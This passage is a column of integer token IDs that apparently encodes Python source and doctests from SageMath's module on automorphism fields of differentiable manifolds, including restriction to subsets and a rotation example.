19216,
29900,
29892,
13,
9651,
13035,
29901,
462,
18884,
25091,
29906,
29922,
318,
29985,
29906,
29974,
29894,
29985,
29906,
19216,
29900,
29897,
13,
9651,
269,
482,
29901,
318,
29894,
29918,
517,
29918,
3594,
353,
921,
29891,
29918,
517,
29918,
4090,
29889,
262,
3901,
580,
13,
9651,
269,
482,
29901,
321,
29918,
3594,
353,
274,
29918,
3594,
29889,
2557,
890,
321,
29918,
4090,
353,
274,
29918,
4090,
29889,
2557,
580,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
29961,
29872,
29918,
3594,
29892,
584,
29962,
353,
5519,
29899,
29896,
29892,
29871,
29900,
1402,
518,
29900,
29892,
29871,
29896,
5262,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
4090,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
4090,
29897,
13,
9651,
269,
482,
29901,
289,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29890,
1495,
13,
9651,
269,
482,
29901,
289,
29961,
29872,
29918,
4090,
29892,
584,
29962,
353,
5519,
29896,
29892,
29871,
29900,
1402,
518,
29900,
29892,
448,
29906,
5262,
13,
9651,
269,
482,
29901,
289,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
3594,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
3594,
29897,
13,
9651,
269,
482,
29901,
281,
353,
341,
29889,
8111,
29918,
2671,
29898,
978,
2433,
29893,
1495,
13,
9651,
269,
482,
29901,
281,
29961,
29872,
29918,
3594,
29892,
584,
29962,
353,
518,
29941,
29892,
29871,
29896,
29962,
13,
9651,
269,
482,
29901,
281,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
4090,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
4090,
29897,
13,
9651,
269,
482,
29901,
269,
353,
263,
17255,
16109,
12035,
29890,
416,
269,
29871,
396,
3345,
28611,
15259,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
373,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
269,
29898,
29893,
29897,
1275,
263,
29898,
29890,
29898,
29893,
876,
29871,
396,
1472,
931,
13,
9651,
5852,
13,
9651,
269,
482,
29901,
269,
353,
263,
17255,
16109,
12035,
29893,
416,
269,
29871,
396,
12489,
3234,
13,
9651,
323,
6073,
1746,
310,
1134,
313,
29906,
29892,
29896,
29897,
373,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
13,
13,
4706,
9995,
13,
4706,
565,
338,
8758,
29898,
1228,
29892,
5202,
14143,
3073,
1125,
13,
9651,
736,
1583,
3032,
16109,
23538,
1228,
29897,
29871,
396,
2498,
5608,
2318,
4307,
13,
4706,
1683,
29901,
13,
9651,
736,
323,
6073,
3073,
17255,
16109,
12035,
1311,
29892,
916,
29897,
29871,
396,
12489,
3234,
13,
13,
1678,
822,
4770,
326,
352,
12035,
1311,
29892,
916,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
4367,
1389,
3475,
310,
13,
4706,
584,
29885,
621,
18078,
30022,
29879,
482,
29889,
1171,
361,
3361,
29889,
29881,
8349,
7268,
519,
29889,
20158,
2671,
29889,
29911,
6073,
3073,
17255,
326,
352,
1649,
29952,
13,
13,
4706,
17067,
1254,
29903,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
396,
278,
29871,
29906,
29899,
12531,
20745,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
396,
19595,
310,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
478,
353,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
396,
19595,
310,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
274,
29918,
4090,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
396,
269,
12358,
12122,
10350,
515,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
341,
29889,
7099,
8663,
29918,
13094,
29898,
29965,
29892,
29963,
29897,
259,
396,
317,
29985,
29906,
338,
278,
9833,
310,
501,
322,
478,
13,
9651,
269,
482,
29901,
921,
29891,
29918,
517,
29918,
4090,
353,
274,
29918,
3594,
29889,
20543,
29918,
1958,
29898,
29883,
29918,
4090,
29892,
313,
29916,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
511,
343,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
8243,
13,
9651,
13035,
29901,
462,
18884,
17686,
29918,
978,
2433,
29956,
742,
25091,
29896,
29922,
921,
29985,
29906,
29974,
29891,
29985,
29906,
19216,
29900,
29892,
13,
9651,
13035,
29901,
462,
18884,
25091,
29906,
29922,
318,
29985,
29906,
29974,
29894,
29985,
29906,
19216,
29900,
29897,
13,
9651,
269,
482,
29901,
318,
29894,
29918,
517,
29918,
3594,
353,
921,
29891,
29918,
517,
29918,
4090,
29889,
262,
3901,
580,
13,
9651,
269,
482,
29901,
321,
29918,
3594,
353,
274,
29918,
3594,
29889,
2557,
890,
321,
29918,
4090,
353,
274,
29918,
4090,
29889,
2557,
580,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
29961,
29872,
29918,
3594,
29892,
584,
29962,
353,
5519,
29899,
29896,
29892,
29871,
29900,
1402,
518,
29900,
29892,
29871,
29896,
5262,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
4090,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
4090,
29897,
13,
9651,
269,
482,
29901,
289,
353,
341,
29889,
1300,
14143,
29918,
2671,
29898,
978,
2433,
29890,
1495,
13,
9651,
269,
482,
29901,
289,
29961,
29872,
29918,
4090,
29892,
584,
29962,
353,
5519,
29896,
29892,
29871,
29900,
1402,
518,
29900,
29892,
448,
29906,
5262,
13,
9651,
269,
482,
29901,
289,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29918,
3594,
29892,
501,
29889,
1639,
2042,
29898,
29963,
511,
274,
29918,
3594,
29897,
13,
9651,
269,
482,
29901,
263,
17255,
326,
352,
12035,
29890,
29897,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
373,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
269,
353,
263,
29930,
29890,
13,
9651,
269,
482,
29901,
263,
334,
29922,
289,
13,
9651,
269,
482,
29901,
263,
1275,
269,
13,
9651,
5852,
13,
13,
539,
9995,
13,
4706,
736,
1583,
17255,
16109,
12035,
1228,
29897,
13,
13,
1678,
822,
9250,
29898,
1311,
29892,
1014,
7247,
29892,
2731,
29918,
1958,
29922,
8516,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
7106,
278,
24345,
310,
4954,
1311,
16159,
304,
777,
1014,
7247,
29889,
13,
13,
4706,
910,
338,
263,
337,
16553,
310,
13,
4706,
584,
29885,
621,
18078,
29879,
482,
29889,
1171,
361,
3361,
29889,
29881,
8349,
7268,
519,
29889,
20158,
2671,
29889,
29911,
6073,
3073,
29889,
5060,
4146,
29952,
13,
4706,
304,
2125,
964,
3633,
278,
10110,
2910,
29889,
13,
13,
4706,
2672,
12336,
29901,
13,
13,
4706,
448,
4954,
1491,
7247,
16159,
1192,
13,
3986,
584,
1990,
18078,
30022,
29879,
482,
29889,
1171,
361,
3361,
29889,
29881,
8349,
7268,
519,
29889,
1171,
361,
1025,
29889,
29928,
8349,
7268,
519,
2517,
361,
1025,
29952,
13,
3986,
1722,
11306,
421,
29963,
29952,
310,
4954,
1311,
3032,
7247,
16159,
13,
4706,
448,
4954,
7854,
29918,
1958,
16159,
1192,
313,
4381,
29901,
4954,
8516,
29952,
6348,
13,
3986,
584,
1990,
18078,
30022,
29879,
482,
29889,
1171,
361,
3361,
29889,
29881,
8349,
7268,
519,
29889,
12765,
29918,
1958,
29889,
26023,
3388,
21966,
13,
3986,
12551,
2910,
6714,
9492,
3583,
478,
320,
5211,
405,
1673,
988,
421,
29940,
29952,
338,
263,
13,
3986,
1014,
7247,
310,
4954,
1311,
3032,
19284,
290,
475,
16159,
29936,
565,
4954,
8516,
29952,
1673,
278,
24345,
13,
3986,
310,
4954,
1311,
29889,
3188,
29918,
5453,
2141,
23848,
29918,
1958,
2555,
29952,
304,
421,
29963,
29952,
338,
1304,
13,
13,
4706,
19474,
12336,
29901,
13,
13,
4706,
448,
263,
584,
1990,
18078,
6147,
14143,
3073,
29952,
15783,
278,
24345,
13,
13,
4706,
8528,
19297,
17101,
29901,
13,
13,
4706,
11654,
4146,
1080,
310,
385,
3345,
28611,
1746,
373,
278,
29871,
29906,
29899,
29879,
9085,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29903,
29985,
29906,
742,
1369,
29918,
2248,
29922,
29896,
29897,
13,
9651,
269,
482,
29901,
501,
353,
341,
29889,
3150,
29918,
6484,
877,
29965,
1495,
396,
278,
19595,
310,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
269,
12358,
29877,
29940,
19423,
29916,
29892,
29891,
29958,
353,
501,
29889,
15425,
580,
29871,
396,
269,
12358,
12122,
10350,
515,
278,
4644,
22775,
13,
9651,
269,
482,
29901,
321,
29940,
353,
269,
12358,
29877,
29940,
29889,
2557,
580,
396,
278,
6942,
4608,
3515,
13,
9651,
269,
482,
29901,
478,
353,
29871,
341,
29889,
3150,
29918,
6484,
877,
29963,
1495,
396,
278,
19595,
310,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
269,
12358,
29877,
29903,
19423,
29884,
29892,
29894,
29958,
353,
478,
29889,
15425,
580,
29871,
396,
269,
12358,
12122,
10350,
515,
278,
4275,
22775,
13,
9651,
269,
482,
29901,
321,
29903,
353,
269,
12358,
29877,
29903,
29889,
2557,
580,
396,
278,
6942,
4608,
3515,
13,
9651,
269,
482,
29901,
1301,
29888,
353,
269,
12358,
29877,
29940,
29889,
20543,
29918,
1958,
29898,
303,
406,
29877,
29903,
29892,
313,
29916,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
511,
343,
14571,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
8243,
13,
9651,
13035,
29901,
462,
462,
17686,
29918,
978,
2433,
29956,
742,
13,
9651,
13035,
29901,
462,
462,
25091,
29896,
29922,
921,
29985,
29906,
29974,
29891,
29985,
29906,
19216,
29900,
29892,
13,
9651,
13035,
29901,
462,
462,
25091,
29906,
29922,
318,
29985,
29906,
29974,
29894,
29985,
29906,
19216,
29900,
29897,
13,
9651,
269,
482,
29901,
2437,
353,
1301,
29888,
29889,
262,
3901,
580,
396,
13852,
515,
269,
12358,
29877,
29903,
304,
269,
12358,
29877,
29940,
13,
9651,
269,
482,
29901,
399,
353,
501,
29889,
1639,
2042,
29898,
29963,
29897,
396,
278,
19595,
310,
278,
4644,
322,
4275,
1248,
267,
13,
9651,
269,
482,
29901,
269,
12358,
29877,
29940,
29918,
29956,
353,
399,
29889,
271,
3333,
580,
29961,
29900,
29962,
29871,
396,
24345,
310,
269,
12358,
29877,
29889,
29311,
29889,
515,
4644,
22775,
304,
399,
13,
9651,
269,
482,
29901,
269,
12358,
29877,
29903,
29918,
29956,
353,
399,
29889,
271,
3333,
580,
29961,
29896,
29962,
29871,
396,
24345,
310,
269,
12358,
29877,
29889,
29311,
29889,
515,
4275,
22775,
304,
399,
13,
9651,
269,
482,
29901,
321,
29940,
29918,
29956,
353,
269,
12358,
29877,
29940,
29918,
29956,
29889,
2557,
580,
2056,
321,
29903,
29918,
29956,
353,
269,
12358,
29877,
29903,
29918,
29956,
29889,
2557,
580,
13,
9651,
269,
482,
29901,
263,
353,
341,
29889,
1300,
14143,
29918,
2671,
3319,
29872,
29940,
29901,
5519,
29896,
29892,
472,
273,
29898,
29916,
29985,
29906,
29974,
29891,
29985,
29906,
29897,
1402,
518,
29900,
29892,
29941,
5262,
1118,
13,
9651,
13035,
29901,
462,
3986,
1024,
2433,
29874,
1495,
13,
9651,
269,
482,
29901,
263,
29889,
1202,
29918,
2388,
29918,
1609,
29918,
20621,
362,
29898,
29872,
29903,
29892,
399,
29892,
8727,
29922,
303,
406,
29877,
29903,
416,
263,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
29871,
29906,
29899,
12531,
13,
632,
17473,
519,
25941,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
263,
29889,
5060,
4146,
29898,
29965,
29897,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
4673,
11306,
501,
310,
278,
13,
795,
29906,
29899,
12531,
17473,
519,
25941,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
263,
29889,
5060,
4146,
29898,
29965,
9601,
29872,
29940,
29892,
17531,
13,
9651,
518,
462,
29896,
564,
312,
273,
29898,
29916,
29985,
29906,
718,
343,
29985,
29906,
4638,
13,
9651,
518,
462,
29900,
462,
29871,
29941,
29962,
13,
9651,
269,
482,
29901,
263,
29889,
5060,
4146,
29898,
29963,
29897,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
4673,
11306,
478,
310,
278,
13,
795,
29906,
29899,
12531,
17473,
519,
25941,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
263,
29889,
5060,
4146,
29898,
29963,
9601,
29872,
29903,
29892,
17531,
13,
9651,
518,
259,
313,
29884,
29985,
29946,
718,
29871,
29896,
29900,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
718,
29871,
29906,
16395,
29884,
29985,
29941,
29930,
29894,
448,
318,
29930,
29894,
29985,
29941,
11877,
27014,
273,
29898,
29896,
14571,
29884,
29985,
29906,
718,
325,
29985,
29906,
4961,
14571,
29884,
29985,
29946,
718,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
29897,
29871,
19691,
29946,
29930,
29884,
29985,
29941,
29930,
29894,
448,
29871,
29946,
29930,
29884,
29930,
29894,
29985,
29941,
718,
313,
29884,
29985,
29946,
448,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
11877,
27014,
273,
29898,
29896,
14571,
29884,
29985,
29906,
718,
325,
29985,
29906,
4961,
14571,
29884,
29985,
29946,
718,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
4638,
13,
9651,
518,
462,
268,
29946,
16395,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
29930,
27014,
273,
29898,
29896,
14571,
29884,
29985,
29906,
718,
325,
29985,
29906,
876,
448,
318,
29985,
29941,
29930,
29894,
718,
318,
29930,
29894,
29985,
29941,
6802,
29898,
29884,
29985,
29946,
718,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
29897,
313,
29941,
29930,
29884,
29985,
29946,
448,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
29871,
29941,
29930,
29894,
29985,
29946,
448,
29871,
29906,
16395,
29884,
29985,
29941,
29930,
29894,
448,
318,
29930,
29894,
29985,
29941,
11877,
27014,
273,
29898,
29896,
14571,
29884,
29985,
29906,
718,
325,
29985,
29906,
4961,
14571,
29884,
29985,
29946,
718,
29871,
29906,
29930,
29884,
29985,
29906,
29930,
29894,
29985,
29906,
718,
325,
29985,
29946,
4638,
13,
9651,
269,
482,
29901,
263,
29889,
5060,
4146,
29898,
29956,
29897,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
4673,
11306,
399,
310,
278,
13,
795,
29906,
29899,
12531,
17473,
519,
25941,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
263,
29889,
5060,
4146,
29898,
29956,
9601,
29872,
29940,
29918,
29956,
29892,
17531,
13,
9651,
518,
462,
29896,
564,
312,
273,
29898,
29916,
29985,
29906,
718,
343,
29985,
29906,
4638,
13,
9651,
518,
462,
29900,
462,
29871,
29941,
29962,
13,
13,
4706,
11654,
4146,
1080,
310,
278,
1746,
310,
18806,
296,
29899,
3493,
10110,
11053,
1057,
13,
13,
9651,
269,
482,
29901,
1178,
353,
341,
29889,
29873,
574,
296,
29918,
22350,
29918,
2671,
580,
2056,
1178,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
10110,
11053,
373,
278,
29871,
29906,
29899,
12531,
13,
632,
17473,
519,
25941,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
1178,
29889,
5060,
4146,
29898,
29965,
29897,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
10110,
11053,
373,
278,
4673,
11306,
501,
310,
278,
13,
795,
29906,
29899,
12531,
17473,
519,
25941,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
1178,
29889,
5060,
4146,
29898,
29965,
9601,
29872,
29940,
29892,
17531,
13,
9651,
518,
29896,
29871,
29900,
29962,
13,
9651,
518,
29900,
29871,
29896,
29962,
13,
9651,
269,
482,
29901,
1178,
29889,
5060,
4146,
29898,
29963,
29897,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
10110,
11053,
373,
278,
4673,
11306,
478,
310,
278,
13,
795,
29906,
29899,
12531,
17473,
519,
25941,
317,
29985,
29906,
13,
9651,
269,
482,
29901,
1178,
29889,
5060,
4146,
29898,
29963,
9601,
29872,
29903,
29892,
17531,
13,
9651,
518,
29896,
29871,
29900,
29962,
13,
9651,
518,
29900,
29871,
29896,
29962,
13,
9651,
269,
482,
29901,
1178,
29889,
5060,
4146,
29898,
29956,
9601,
29872,
29940,
29918,
29956,
29892,
17531,
13,
9651,
518,
29896,
29871,
29900,
29962,
13,
9651,
518,
29900,
29871,
29896,
29962,
13,
9651,
269,
482,
29901,
1178,
29889,
5060,
4146,
29898,
29956,
9601,
29872,
29903,
29918,
29956,
29892,
17531,
13,
9651,
518,
29896,
29871,
29900,
29962,
13,
9651,
518,
29900,
29871,
29896,
29962,
13,
13,
4706,
9995,
13,
4706,
565,
1014,
7247,
1275,
1583,
3032,
7247,
29901,
13,
9651,
736,
1583,
13,
4706,
565,
1014,
7247,
451,
297,
1583,
3032,
5060,
4146,
1080,
29901,
13,
9651,
565,
451,
1583,
3032,
275,
29918,
22350,
29901,
13,
18884,
736,
323,
6073,
3073,
29889,
5060,
4146,
29898,
1311,
29892,
1014,
7247,
29892,
2731,
29918,
1958,
29922,
7854,
29918,
1958,
29897,
13,
9651,
396,
12630,
1206,
310,
278,
10110,
2910,
29901,
13,
9651,
565,
451,
1014,
7247,
29889,
275,
29918,
6484,
29898,
1311,
3032,
7247,
1125,
13,
18884,
12020,
7865,
2392,
703,
1552,
4944,
5354,
338,
451,
263,
11306,
310,
376,
718,
13,
462,
462,
376,
1552,
1746,
29915,
29879,
5354,
1159,
13,
9651,
565,
2731,
29918,
1958,
338,
6213,
29901,
13,
18884,
2731,
29918,
1958,
353,
1583,
3032,
29894,
5453,
3032,
7854,
29918,
1958,
29889,
5060,
4146,
29898,
1491,
7247,
29897,
13,
9651,
25342,
451,
2731,
29918,
1958,
3032,
19284,
290,
475,
29889,
275,
29918,
6484,
29898,
1311,
3032,
1117,
993,
29918,
7247,
1125,
13,
18884,
12020,
7865,
2392,
703,
1552,
2980,
525,
7854,
29918,
1958,
29915,
338,
451,
15878,
376,
718,
13,
462,
462,
376,
2541,
278,
25040,
5354,
310,
376,
718,
13,
462,
462,
376,
1552,
6571,
1642,
4830,
29898,
1311,
876,
13,
9651,
269,
5453,
353,
1014,
7247,
29889,
8111,
29918,
2671,
29918,
5453,
29898,
7854,
29918,
1958,
29922,
7854,
29918,
1958,
29897,
13,
9651,
1583,
3032,
5060,
4146,
1080,
29961,
1491,
7247,
29962,
353,
269,
5453,
29889,
22350,
29918,
1958,
580,
13,
4706,
736,
1583,
3032,
5060,
4146,
1080,
29961,
1491,
7247,
29962,
13,
13,
13,
29937,
7775,
7775,
7775,
7775,
4189,
2328,
1068,
13,
13,
1990,
5202,
14143,
3073,
2177,
284,
29898,
20475,
7355,
6147,
14143,
29892,
323,
6073,
3073,
2177,
284,
1125,
13,
1678,
364,
15945,
29908,
13,
1678,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
411,
1819,
373,
263,
8943,
13902,
13,
1678,
25941,
29889,
13,
13,
1678,
11221,
263,
17473,
519,
25941,
421,
29965,
29952,
322,
263,
17473,
519,
2910,
13,
1678,
6714,
9492,
29901,
501,
320,
5211,
341,
29952,
304,
263,
8943,
13902,
25941,
421,
29924,
1673,
13,
1678,
263,
334,
2671,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
3412,
29930,
421,
29965,
29952,
334,
2541,
1819,
373,
29930,
13,
1678,
421,
29924,
29905,
2146,
567,
300,
29905,
9492,
29898,
29965,
3569,
338,
263,
17473,
519,
2910,
13,
13,
1678,
6317,
341,
7534,
1057,
13,
13,
4706,
263,
3583,
501,
29871,
320,
24225,
323,
7650,
29896,
29892,
29896,
2915,
29924,
13,
13,
1678,
6695,
29911,
7650,
29896,
29892,
29896,
2915,
29924,
29952,
1641,
278,
12489,
11846,
310,
1134,
12270,
29896,
29892,
29896,
3569,
975,
421,
29924,
6348,
1316,
13,
1678,
393,
13,
13,
1678,
6317,
341,
7534,
1057,
13,
13,
4706,
320,
10956,
282,
320,
262,
501,
2053,
263,
29898,
29886,
29897,
320,
262,
320,
3141,
29912,
6147,
2119,
29911,
1665,
9492,
29898,
29886,
2915,
341,
29897,
13,
13,
1678,
474,
29889,
29872,
29889,
421,
29874,
29898,
29886,
3569,
338,
385,
3345,
28611,
310,
278,
18806,
296,
2913,
304,
421,
29924,
29952,
472,
278,
1298,
13,
1678,
6714,
9492,
29898,
29886,
14466,
13,
13,
1678,
450,
3918,
1206,
310,
263,
1746,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
334,
265,
29930,
263,
13,
1678,
25941,
16161,
304,
421,
29965,
29922,
29924,
29952,
322,
6714,
9492,
353,
320,
3141,
29912,
1204,
2403,
29924,
1412,
5901,
13,
1678,
3619,
4251,
526,
6714,
9492,
29952,
1641,
385,
5198,
4455,
322,
6714,
9492,
29952,
1641,
263,
11672,
297,
421,
29924,
29952,
13,
1678,
6695,
29965,
29952,
338,
769,
385,
1722,
7292,
310,
6714,
29934,
29934,
12913,
13,
13,
1678,
6317,
6058,
29923,
1057,
13,
13,
4706,
960,
421,
29924,
29952,
338,
451,
8943,
13902,
29892,
278,
770,
584,
1990,
18078,
6147,
14143,
3073,
29952,
13,
4706,
334,
21969,
29930,
367,
1304,
2012,
29889,
13,
13,
1678,
2672,
12336,
29901,
13,
13,
1678,
448,
4954,
8111,
29918,
2671,
29918,
5453,
16159,
1192,
3889,
3883,
6714,
7237,
29912,
29990,
2119,
29965,
2053,
9492,
3569,
310,
4608,
13,
418,
4235,
3412,
421,
29965,
29952,
411,
1819,
373,
421,
29924,
29952,
3025,
278,
2910,
6714,
9492,
29952,
13,
1678,
448,
4954,
978,
16159,
1192,
313,
4381,
29901,
4954,
8516,
29952,
6348,
1024,
2183,
304,
278,
1746,
13,
1678,
448,
4954,
25694,
29918,
978,
16159,
1192,
313,
4381,
29901,
4954,
8516,
29952,
6348,
29186,
5829,
304,
13530,
278,
1746,
29936,
13,
418,
565,
5642,
338,
4944,
29892,
278,
29186,
5829,
338,
731,
304,
4954,
978,
16159,
13,
13,
1678,
8528,
19297,
17101,
29901,
13,
13,
1678,
319,
6714,
1631,
29914,
29941,
27969,
5450,
362,
297,
278,
382,
27511,
29871,
29906,
29899,
22116,
1057,
13,
13,
4706,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29934,
29985,
29906,
1495,
13,
4706,
269,
482,
29901,
274,
29918,
3594,
19423,
29916,
29892,
29891,
29958,
353,
341,
29889,
15425,
580,
13,
4706,
269,
482,
29901,
5731,
353,
341,
29889,
1300,
14143,
29918,
2671,
4197,
29961,
3676,
29898,
29941,
6802,
29906,
29892,
448,
29896,
29914,
29906,
1402,
518,
29896,
29914,
29906,
29892,
18074,
2273,
29898,
29941,
6802,
29906,
20526,
13,
4706,
13035,
29901,
462,
9651,
1024,
2433,
29934,
2157,
5731,
13,
4706,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
390,
373,
278,
29871,
29906,
29899,
12531,
13,
308,
17473,
519,
25941,
390,
29985,
29906,
13,
4706,
269,
482,
29901,
5731,
29889,
3560,
580,
13,
4706,
4593,
5608,
2318,
310,
278,
12362,
3883,
1060,
29898,
29934,
29985,
29906,
29897,
310,
4608,
4235,
373,
278,
13,
3986,
29906,
29899,
12531,
17473,
519,
25941,
390,
29985,
29906,
13,
13,
1678,
450,
16402,
3345,
28611,
338,
7625,
3025,
278,
1158,
584,
29885,
621,
18078,
262,
3901,
29952,
1057,
13,
13,
4706,
269,
482,
29901,
2437,
353,
5731,
29889,
262,
3901,
580,
2056,
2437,
13,
4706,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
390,
29985,
6278,
29896,
29897,
373,
278,
29871,
29906,
29899,
12531,
13,
308,
17473,
519,
25941,
390,
29985,
29906,
13,
4706,
269,
482,
29901,
5683,
29916,
29898,
11569,
29897,
13,
4706,
390,
3426,
29896,
29913,
13,
4706,
269,
482,
29901,
2437,
7503,
29962,
13,
4706,
518,
29896,
29914,
29906,
29930,
3676,
29898,
29941,
29897,
3986,
29896,
29914,
29906,
29962,
13,
4706,
518,
539,
448,
29896,
29914,
29906,
29871,
29896,
29914,
29906,
29930,
3676,
29898,
29941,
4638,
13,
4706,
269,
482,
29901,
5731,
7503,
29962,
13,
4706,
518,
29896,
29914,
29906,
29930,
3676,
29898,
29941,
29897,
4706,
448,
29896,
29914,
29906,
29962,
13,
4706,
518,
308,
29896,
29914,
29906,
29871,
29896,
29914,
29906,
29930,
3676,
29898,
29941,
4638,
13,
4706,
269,
482,
29901,
2437,
7503,
29962,
334,
5731,
7503,
29962,
29871,
396,
1423,
13,
4706,
518,
29896,
29871,
29900,
29962,
13,
4706,
518,
29900,
29871,
29896,
29962,
13,
13,
1678,
11243,
2561,
2705,
29892,
697,
508,
671,
278,
3081,
26134,
697,
304,
679,
278,
16402,
1057,
13,
13,
4706,
269,
482,
29901,
2437,
338,
5731,
29985,
6278,
29896,
29897,
13,
4706,
5852,
13,
13,
1678,
470,
278,
5455,
4954,
30022,
16159,
1057,
13,
13,
4706,
269,
482,
29901,
2437,
338,
3695,
5450,
13,
4706,
5852,
13,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4608,
29918,
2671,
29918,
5453,
29892,
1024,
29922,
8516,
29892,
5683,
29916,
29918,
978,
29922,
8516,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
1281,
4984,
263,
1746,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
29889,
13,
13,
4706,
17067,
1254,
29903,
29901,
13,
13,
4706,
5798,
4080,
3025,
4954,
3560,
29889,
5029,
29918,
1990,
29952,
1673,
322,
451,
3025,
263,
1513,
1246,
13,
4706,
304,
4954,
6147,
14143,
3073,
2177,
284,
29952,
1673,
304,
6216,
411,
278,
7663,
6890,
1057,
13,
13,
9651,
269,
482,
29901,
341,
353,
2315,
361,
1025,
29898,
29906,
29892,
525,
29924,
1495,
13,
9651,
269,
482,
29901,
1060,
19423,
29916,
29892,
29891,
29958,
353,
341,
29889,
15425,
580,
29871,
396,
3732,
341,
8943,
13902,
13,
9651,
269,
482,
29901,
1060,
29924,
353,
341,
29889,
8111,
29918,
2671,
29918,
5453,
580,
13,
9651,
269,
482,
29901,
12729,
353,
1060,
29924,
29889,
17492,
29918,
10660,
29918,
2972,
580,
13,
9651,
269,
482,
29901,
263,
353,
12729,
29889,
5029,
29918,
1990,
29898,
29990,
29924,
29892,
1024,
2433,
29874,
2157,
263,
13,
9651,
8989,
310,
18806,
296,
29899,
3493,
3345,
5676,
12903,
263,
373,
278,
29871,
29906,
29899,
12531,
13,
632,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
263,
7503,
29962,
353,
5519,
29896,
29974,
29916,
29985,
29906,
29892,
921,
29930,
29891,
1402,
518,
29900,
29892,
29871,
29896,
29974,
29891,
29985,
29906,
5262,
13,
9651,
269,
482,
29901,
263,
29889,
3560,
580,
13,
9651,
4593,
5608,
2318,
310,
278,
12362,
3883,
1060,
29898,
29924,
29897,
310,
4608,
4235,
373,
13,
632,
278,
29871,
29906,
29899,
12531,
17473,
519,
25941,
341,
13,
9651,
269,
482,
29901,
263,
29889,
3560,
580,
338,
341,
29889,
1300,
14143,
29918,
2671,
29918,
2972,
580,
13,
9651,
5852,
13,
9651,
269,
482,
29901,
4321,
5091,
568,
29898,
29874,
467,
3389,
580,
13,
13,
4706,
5798,
4080,
310,
